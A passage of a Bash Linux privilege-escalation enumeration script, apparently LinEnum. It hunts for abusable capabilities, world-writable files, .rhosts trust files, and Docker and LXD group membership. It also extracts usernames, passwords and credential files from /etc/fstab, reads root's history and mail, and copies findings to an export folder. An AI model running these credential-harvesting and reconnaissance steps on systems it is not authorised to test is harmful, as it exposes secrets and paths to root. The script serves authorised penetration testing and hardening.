POSIX capabilities set:\e[00m\n$fileswithcaps" echo -e "\n" fi fi if [ "$thorough" = "1" ]; then if [ "$export" ] && [ "$fileswithcaps" ]; then mkdir $format/files_with_capabilities/ 2>/dev/null for i in $fileswithcaps; do cp $i $format/files_with_capabilities/; done 2>/dev/null fi fi #searches /etc/security/capability.conf for users associated capapilies if [ "$thorough" = "1" ]; then userswithcaps=`grep -v '^#\|none\|^$' /etc/security/capability.conf 2>/dev/null` if [ "$userswithcaps" ]; then echo -e "\e[00;33m[+] Users with specific POSIX capabilities:\e[00m\n$userswithcaps" echo -e "\n" fi fi if [ "$thorough" = "1" ] && [ "$userswithcaps" ] ; then #matches the capabilities found associated with users with the current user matchedcaps=`echo -e "$userswithcaps" | grep \`whoami\` | awk '{print $1}' 2>/dev/null` if [ "$matchedcaps" ]; then echo -e "\e[00;33m[+] Capabilities associated with the current user:\e[00m\n$matchedcaps" echo -e "\n" #matches the files with capapbilities with capabilities associated with the current user matchedfiles=`echo -e "$matchedcaps" | while read -r cap ; do echo -e "$fileswithcaps" | grep "$cap" ; done 2>/dev/null` if [ "$matchedfiles" ]; then echo -e "\e[00;33m[+] Files with the same capabilities associated with the current user (You may want to try abusing those capabilties):\e[00m\n$matchedfiles" echo -e "\n" #lists the permissions of the files having the same capabilies associated with the current user matchedfilesperms=`echo -e "$matchedfiles" | awk '{print $1}' | while read -r f; do ls -la $f ;done 2>/dev/null` echo -e "\e[00;33m[+] Permissions of files with the same capabilities associated with the current user:\e[00m\n$matchedfilesperms" echo -e "\n" if [ "$matchedfilesperms" ]; then #checks if any of the files with same capabilities associated with the current user is writable writablematchedfiles=`echo -e "$matchedfiles" | awk '{print $1}' | while read -r f; do find $f -writable -exec ls -la {} + ;done 2>/dev/null` if [ "$writablematchedfiles" ]; then echo -e "\e[00;33m[+] User/Group writable files with the same capabilities associated with the current user:\e[00m\n$writablematchedfiles" echo -e "\n" fi fi fi fi fi #list all world-writable files excluding /proc and /sys if [ "$thorough" = "1" ]; then wwfiles=`find / ! -path "*/proc/*" ! -path "/sys/*" -perm -2 -type f -exec ls -la {} 2>/dev/null \;` if [ "$wwfiles" ]; then echo -e "\e[00;31m[-] World-writable files (excluding /proc and /sys):\e[00m\n$wwfiles" echo -e "\n" fi fi if [ "$thorough" = "1" ]; then if [ "$export" ] && [ "$wwfiles" ]; then mkdir $format/ww-files/ 2>/dev/null for i in $wwfiles; do cp --parents $i $format/ww-files/; done 2>/dev/null fi fi #are any .plan files accessible in /home (could contain useful information) usrplan=`find /home -iname *.plan -exec ls -la {} \; -exec cat {} 2>/dev/null \;` if [ "$usrplan" ]; then echo -e "\e[00;31m[-] Plan file permissions and contents:\e[00m\n$usrplan" echo -e "\n" fi if [ "$export" ] && [ "$usrplan" ]; then mkdir $format/plan_files/ 2>/dev/null for i in $usrplan; do cp --parents $i $format/plan_files/; done 2>/dev/null fi bsdusrplan=`find /usr/home -iname *.plan -exec ls -la {} \; -exec cat {} 2>/dev/null \;` if [ "$bsdusrplan" ]; then echo -e "\e[00;31m[-] Plan file permissions and contents:\e[00m\n$bsdusrplan" echo -e "\n" fi if [ "$export" ] && [ "$bsdusrplan" ]; then mkdir $format/plan_files/ 2>/dev/null for i in $bsdusrplan; do cp --parents $i $format/plan_files/; done 2>/dev/null fi #are there any .rhosts files accessible - these may allow us to login as another user etc. rhostsusr=`find /home -iname *.rhosts -exec ls -la {} 2>/dev/null \; -exec cat {} 2>/dev/null \;` if [ "$rhostsusr" ]; then echo -e "\e[00;33m[+] rhost config file(s) and file contents:\e[00m\n$rhostsusr" echo -e "\n" fi if [ "$export" ] && [ "$rhostsusr" ]; then mkdir $format/rhosts/ 2>/dev/null for i in $rhostsusr; do cp --parents $i $format/rhosts/; done 2>/dev/null fi bsdrhostsusr=`find /usr/home -iname *.rhosts -exec ls -la {} 2>/dev/null \; -exec cat {} 2>/dev/null \;` if [ "$bsdrhostsusr" ]; then echo -e "\e[00;33m[+] rhost config file(s) and file contents:\e[00m\n$bsdrhostsusr" echo -e "\n" fi if [ "$export" ] && [ "$bsdrhostsusr" ]; then mkdir $format/rhosts 2>/dev/null for i in $bsdrhostsusr; do cp --parents $i $format/rhosts/; done 2>/dev/null fi rhostssys=`find /etc -iname hosts.equiv -exec ls -la {} 2>/dev/null \; -exec cat {} 2>/dev/null \;` if [ "$rhostssys" ]; then echo -e "\e[00;33m[+] Hosts.equiv file and contents: \e[00m\n$rhostssys" echo -e "\n" fi if [ "$export" ] && [ "$rhostssys" ]; then mkdir $format/rhosts/ 2>/dev/null for i in $rhostssys; do cp --parents $i $format/rhosts/; done 2>/dev/null fi #list nfs shares/permisisons etc. nfsexports=`ls -la /etc/exports 2>/dev/null; cat /etc/exports 2>/dev/null` if [ "$nfsexports" ]; then echo -e "\e[00;31m[-] NFS config details: \e[00m\n$nfsexports" echo -e "\n" fi if [ "$export" ] && [ "$nfsexports" ]; then mkdir $format/etc-export/ 2>/dev/null cp /etc/exports $format/etc-export/exports 2>/dev/null fi if [ "$thorough" = "1" ]; then #phackt #displaying /etc/fstab fstab=`cat /etc/fstab 2>/dev/null` if [ "$fstab" ]; then echo -e "\e[00;31m[-] NFS displaying partitions and filesystems - you need to check if exotic filesystems\e[00m" echo -e "$fstab" echo -e "\n" fi fi #looking for credentials in /etc/fstab fstab=`grep username /etc/fstab 2>/dev/null |awk '{sub(/.*\username=/,"");sub(/\,.*/,"")}1' 2>/dev/null| xargs -r echo username: 2>/dev/null; grep password /etc/fstab 2>/dev/null |awk '{sub(/.*\password=/,"");sub(/\,.*/,"")}1' 2>/dev/null| xargs -r echo password: 2>/dev/null; grep domain /etc/fstab 2>/dev/null |awk '{sub(/.*\domain=/,"");sub(/\,.*/,"")}1' 2>/dev/null| xargs -r echo domain: 2>/dev/null` if [ "$fstab" ]; then echo -e "\e[00;33m[+] Looks like there are credentials in /etc/fstab!\e[00m\n$fstab" echo -e "\n" fi if [ "$export" ] && [ "$fstab" ]; then mkdir $format/etc-exports/ 2>/dev/null cp /etc/fstab $format/etc-exports/fstab done 2>/dev/null fi fstabcred=`grep cred /etc/fstab 2>/dev/null |awk '{sub(/.*\credentials=/,"");sub(/\,.*/,"")}1' 2>/dev/null | xargs -I{} sh -c 'ls -la {}; cat {}' 2>/dev/null` if [ "$fstabcred" ]; then echo -e "\e[00;33m[+] /etc/fstab contains a credentials file!\e[00m\n$fstabcred" echo -e "\n" fi if [ "$export" ] && [ "$fstabcred" ]; then mkdir $format/etc-exports/ 2>/dev/null cp /etc/fstab $format/etc-exports/fstab done 2>/dev/null fi #use supplied keyword and cat *.conf files for potential matches - output will show line number within relevant file path where a match has been located if [ "$keyword" = "" ]; then echo -e "[-] Can't search *.conf files as no keyword was entered\n" else confkey=`find / -maxdepth 4 -name *.conf -type f -exec grep -Hn $keyword {} \; 2>/dev/null` if [ "$confkey" ]; then echo -e "\e[00;31m[-] Find keyword ($keyword) in .conf files (recursive 4 levels - output format filepath:identified line number where keyword appears):\e[00m\n$confkey" echo -e "\n" else echo -e "\e[00;31m[-] Find keyword ($keyword) in .conf files (recursive 4 levels):\e[00m" echo -e "'$keyword' not found in any .conf files" echo -e "\n" fi fi if [ "$keyword" = "" ]; then : else if [ "$export" ] && [ "$confkey" ]; then confkeyfile=`find / -maxdepth 4 -name *.conf -type f -exec grep -lHn $keyword {} \; 2>/dev/null` mkdir --parents $format/keyword_file_matches/config_files/ 2>/dev/null for i in $confkeyfile; do cp --parents $i $format/keyword_file_matches/config_files/ ; done 2>/dev/null fi fi #use supplied keyword and cat *.php files for potential matches - output will show line number within relevant file path where a match has been located if [ "$keyword" = "" ]; then echo -e "[-] Can't search *.php files as no keyword was entered\n" else phpkey=`find / -maxdepth 10 -name *.php -type f -exec grep -Hn $keyword {} \; 2>/dev/null` if [ "$phpkey" ]; then echo -e "\e[00;31m[-] Find keyword ($keyword) in .php files (recursive 10 levels - output format filepath:identified line number where keyword appears):\e[00m\n$phpkey" echo -e "\n" else echo -e "\e[00;31m[-] Find keyword ($keyword) in .php files (recursive 10 levels):\e[00m" echo -e "'$keyword' not found in any .php files" echo -e "\n" fi fi if [ "$keyword" = "" ]; then : else if [ "$export" ] && [ "$phpkey" ]; then phpkeyfile=`find / -maxdepth 10 -name *.php -type f -exec grep -lHn $keyword {} \; 2>/dev/null` mkdir --parents $format/keyword_file_matches/php_files/ 2>/dev/null for i in $phpkeyfile; do cp --parents $i $format/keyword_file_matches/php_files/ ; done 2>/dev/null fi fi #use supplied keyword and cat *.log files for potential matches - output will show line number within relevant file path where a match has been located if [ "$keyword" = "" ];then echo -e "[-] Can't search *.log files as no keyword was entered\n" else logkey=`find / -maxdepth 4 -name *.log -type f -exec grep -Hn $keyword {} \; 2>/dev/null` if [ "$logkey" ]; then echo -e "\e[00;31m[-] Find keyword ($keyword) in .log files (recursive 4 levels - output format filepath:identified line number where keyword appears):\e[00m\n$logkey" echo -e "\n" else echo -e "\e[00;31m[-] Find keyword ($keyword) in .log files (recursive 4 levels):\e[00m" echo -e "'$keyword' not found in any .log files" echo -e "\n" fi fi if [ "$keyword" = "" ];then : else if [ "$export" ] && [ "$logkey" ]; then logkeyfile=`find / -maxdepth 4 -name *.log -type f -exec grep -lHn $keyword {} \; 2>/dev/null` mkdir --parents $format/keyword_file_matches/log_files/ 2>/dev/null for i in $logkeyfile; do cp --parents $i $format/keyword_file_matches/log_files/ ; done 2>/dev/null fi fi #use supplied keyword and cat *.ini files for potential matches - output will show line number within relevant file path where a match has been located if [ "$keyword" = "" ];then echo -e "[-] Can't search *.ini files as no keyword was entered\n" else inikey=`find / -maxdepth 4 -name *.ini -type f -exec grep -Hn $keyword {} \; 2>/dev/null` if [ "$inikey" ]; then echo -e "\e[00;31m[-] Find keyword ($keyword) in .ini files (recursive 4 levels - output format filepath:identified line number where keyword appears):\e[00m\n$inikey" echo -e "\n" else echo -e "\e[00;31m[-] Find keyword ($keyword) in .ini files (recursive 4 levels):\e[00m" echo -e "'$keyword' not found in any .ini files" echo -e "\n" fi fi if [ "$keyword" = "" ];then : else if [ "$export" ] && [ "$inikey" ]; then inikey=`find / -maxdepth 4 -name *.ini -type f -exec grep -lHn $keyword {} \; 2>/dev/null` mkdir --parents $format/keyword_file_matches/ini_files/ 2>/dev/null for i in $inikey; do cp --parents $i $format/keyword_file_matches/ini_files/ ; done 2>/dev/null fi fi #quick extract of .conf files from /etc - only 1 level allconf=`find /etc/ -maxdepth 1 -name *.conf -type f -exec ls -la {} \; 2>/dev/null` if [ "$allconf" ]; then echo -e "\e[00;31m[-] All *.conf files in /etc (recursive 1 level):\e[00m\n$allconf" echo -e "\n" fi if [ "$export" ] && [ "$allconf" ]; then mkdir $format/conf-files/ 2>/dev/null for i in $allconf; do cp --parents $i $format/conf-files/; done 2>/dev/null fi #extract any user history files that are accessible usrhist=`ls -la ~/.*_history 2>/dev/null` if [ "$usrhist" ]; then echo -e "\e[00;31m[-] Current user's history files:\e[00m\n$usrhist" echo -e "\n" fi if [ "$export" ] && [ "$usrhist" ]; then mkdir $format/history_files/ 2>/dev/null for i in $usrhist; do cp --parents $i $format/history_files/; done 2>/dev/null fi #can we read roots *_history files - could be passwords stored etc. roothist=`ls -la /root/.*_history 2>/dev/null` if [ "$roothist" ]; then echo -e "\e[00;33m[+] Root's history files are accessible!\e[00m\n$roothist" echo -e "\n" fi if [ "$export" ] && [ "$roothist" ]; then mkdir $format/history_files/ 2>/dev/null cp $roothist $format/history_files/ 2>/dev/null fi #all accessible .bash_history files in /home checkbashhist=`find /home -name .bash_history -print -exec cat {} 2>/dev/null \;` if [ "$checkbashhist" ]; then echo -e "\e[00;31m[-] Location and contents (if accessible) of .bash_history file(s):\e[00m\n$checkbashhist" echo -e "\n" fi #is there any mail accessible readmail=`ls -la /var/mail 2>/dev/null` if [ "$readmail" ]; then echo -e "\e[00;31m[-] Any interesting mail in /var/mail:\e[00m\n$readmail" echo -e "\n" fi #can we read roots mail readmailroot=`head /var/mail/root 2>/dev/null` if [ "$readmailroot" ]; then echo -e "\e[00;33m[+] We can read /var/mail/root! (snippet below)\e[00m\n$readmailroot" echo -e "\n" fi if [ "$export" ] && [ "$readmailroot" ]; then mkdir $format/mail-from-root/ 2>/dev/null cp $readmailroot $format/mail-from-root/ 2>/dev/null fi } docker_checks() { #specific checks - check to see if we're in a docker container dockercontainer=` grep -i docker /proc/self/cgroup 2>/dev/null; find / -name "*dockerenv*" -exec ls -la {} \; 2>/dev/null` if [ "$dockercontainer" ]; then echo -e "\e[00;33m[+] Looks like we're in a Docker container:\e[00m\n$dockercontainer" echo -e "\n" fi #specific checks - check to see if we're a docker host dockerhost=`docker --version 2>/dev/null; docker ps -a 2>/dev/null` if [ "$dockerhost" ]; then echo -e "\e[00;33m[+] Looks like we're hosting Docker:\e[00m\n$dockerhost" echo -e "\n" fi #specific checks - are we a member of the docker group dockergrp=`id | grep -i docker 2>/dev/null` if [ "$dockergrp" ]; then echo -e "\e[00;33m[+] We're a member of the (docker) group - could possibly misuse these rights!\e[00m\n$dockergrp" echo -e "\n" fi #specific checks - are there any docker files present dockerfiles=`find / -name Dockerfile -exec ls -l {} 2>/dev/null \;` if [ "$dockerfiles" ]; then echo -e "\e[00;31m[-] Anything juicy in the Dockerfile:\e[00m\n$dockerfiles" echo -e "\n" fi #specific checks - are there any docker files present dockeryml=`find / -name docker-compose.yml -exec ls -l {} 2>/dev/null \;` if [ "$dockeryml" ]; then echo -e "\e[00;31m[-] Anything juicy in docker-compose.yml:\e[00m\n$dockeryml" echo -e "\n" fi } lxc_container_checks() { #specific checks - are we in an lxd/lxc container lxccontainer=`grep -qa container=lxc /proc/1/environ 2>/dev/null` if [ "$lxccontainer" ]; then echo -e "\e[00;33m[+] Looks like we're in a lxc container:\e[00m\n$lxccontainer" echo -e "\n" fi #specific checks - are we a member of the lxd group lxdgroup=`id | grep -i lxd 2>/dev/null` if [ "$lxdgroup" ]; then echo -e "\e[00;33m[+] We're a member of the (lxd) group - could possibly misuse these rights!\e[00m\n$lxdgroup" echo -e "\n" fi } footer() { echo -e "\e[00;33m### SCAN COMPLETE ####################################\e[00m" } call_each() { header debug_info system_info user_info environmental_info job_info networking_info services_info software_configs interesting_files docker_checks lxc_container_checks footer } while getopts "h:k:r:e:st" option; do case "${option}" in k) keyword=${OPTARG};; r) report=${OPTARG}"-"`date +"%d-%m-%y"`;; e) export=${OPTARG};; s) sudopass=1;; t) thorough=1;; h) usage; exit;; *) usage; exit;; esac done call_each | tee -a $report 2> /dev/null #EndOfScript